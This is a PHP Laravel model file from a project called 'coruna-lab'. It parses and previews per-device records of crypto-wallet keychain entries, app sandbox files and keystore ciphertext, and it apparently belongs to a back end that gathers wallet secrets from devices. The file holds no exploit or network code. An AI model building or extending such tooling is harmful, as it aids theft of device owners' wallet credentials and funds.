Files
coruna-lab/app/Models/WalletKeystore.php
T
2026-08-24 06:23:07 +08:00

212 lines
6.0 KiB
PHP

<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class WalletKeystore extends Model
{
protected $fillable = [
'device_id', 'source', 'decrypted', 'raw_json',
];
protected function casts(): array
{
return [
'raw_json' => 'array',
'decrypted' => 'integer',
];
}
public function sourceLabel(): string
{
$source = trim((string) $this->source);
return $source !== '' ? $source : '未知';
}
public function kind(): string
{
return is_array($this->raw_json) ? trim((string) ($this->raw_json['kind'] ?? '')) : '';
}
public function kindLabel(): string
{
return match ($this->kind()) {
'keychain.wallets' => '钥匙串',
'sandbox' => '沙盒文件',
default => $this->kind() !== '' ? $this->kind() : '未知',
};
}
/**
* @return list<array{
* account: string,
* service: string,
* access_group: string,
* protection_class: string,
* path: string,
* data_len: int,
* data_preview: string
* }>
*/
public function listedItems(): array
{
$json = is_array($this->raw_json) ? $this->raw_json : [];
$out = [];
$wallets = $json['wallets'] ?? null;
if (is_array($wallets)) {
foreach ($wallets as $bucket) {
$items = is_array($bucket['items'] ?? null) ? $bucket['items'] : [];
foreach ($items as $item) {
if (is_array($item)) {
$out[] = $this->normalizeItem($item);
}
}
}
}
$sandbox = $json['sandbox'] ?? null;
if (is_array($sandbox)) {
$out = array_merge($out, $this->sandboxItems($sandbox));
}
if (isset($json['crypto']) && is_array($json['crypto'])) {
$out[] = $this->normalizeItem([
'account' => (string) ($json['id'] ?? $json['type'] ?? 'keystore'),
'path' => 'crypto',
'dataHex' => (string) ($json['crypto']['ciphertext'] ?? ''),
]);
}
return $out;
}
public function itemCount(): int
{
return count($this->listedItems());
}
public function summary(): string
{
$names = [];
foreach ($this->listedItems() as $item) {
$name = $item['account'] !== '' ? $item['account'] : $item['path'];
if ($name !== '') {
$names[] = $name;
}
if (count($names) >= 3) {
break;
}
}
$n = $this->itemCount();
if ($names === []) {
return $n > 0 ? $n.' 条' : '';
}
$text = implode(' · ', $names);
if ($n > 3) {
$text .= ' 等'.$n.'条';
}
return $text;
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
/**
* @param array<string, mixed> $item
* @return array{
* account: string,
* service: string,
* access_group: string,
* protection_class: string,
* path: string,
* data_len: int,
* data_preview: string
* }
*/
private function normalizeItem(array $item): array
{
$hex = (string) ($item['dataHex'] ?? '');
$bin = '';
if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
$bin = (string) hex2bin($hex);
} elseif (isset($item['data']) && is_string($item['data'])) {
$bin = $item['data'];
}
return [
'account' => trim((string) ($item['account'] ?? '')),
'service' => trim((string) ($item['service'] ?? '')),
'access_group' => trim((string) ($item['accessGroup'] ?? $item['access_group'] ?? '')),
'protection_class' => (string) ($item['protectionClass'] ?? $item['class'] ?? ''),
'path' => trim((string) ($item['path'] ?? '')),
'data_len' => strlen($bin),
'data_preview' => $this->previewBytes($bin !== '' ? $bin : $hex),
];
}
/**
* @param array<string, mixed> $sandbox
* @return list<array{
* account: string,
* service: string,
* access_group: string,
* protection_class: string,
* path: string,
* data_len: int,
* data_preview: string
* }>
*/
private function sandboxItems(array $sandbox, string $prefix = ''): array
{
$out = [];
foreach ($sandbox as $key => $value) {
$path = $prefix === '' ? (string) $key : $prefix.'/'.$key;
if (is_array($value)) {
if (isset($value['items']) && is_array($value['items'])) {
foreach ($value['items'] as $item) {
if (is_array($item)) {
$out[] = $this->normalizeItem($item);
}
}
continue;
}
$out = array_merge($out, $this->sandboxItems($value, $path));
continue;
}
if (! is_string($value) || $value === '') {
continue;
}
$bin = base64_decode($value, true);
if ($bin === false) {
$bin = $value;
}
$out[] = $this->normalizeItem([
'account' => basename($path),
'path' => $path,
'data' => $bin,
]);
}
return $out;
}
private function previewBytes(string $raw): string
{
if ($raw === '') {
return '';
}
if (mb_check_encoding($raw, 'UTF-8') && preg_match('/^[\x09\x0A\x0D\x20-\x7E]{1,256}$/', $raw)) {
return $raw;
}
$hex = bin2hex($raw);
return strlen($hex) > 48 ? substr($hex, 0, 48).'…' : $hex;
}
}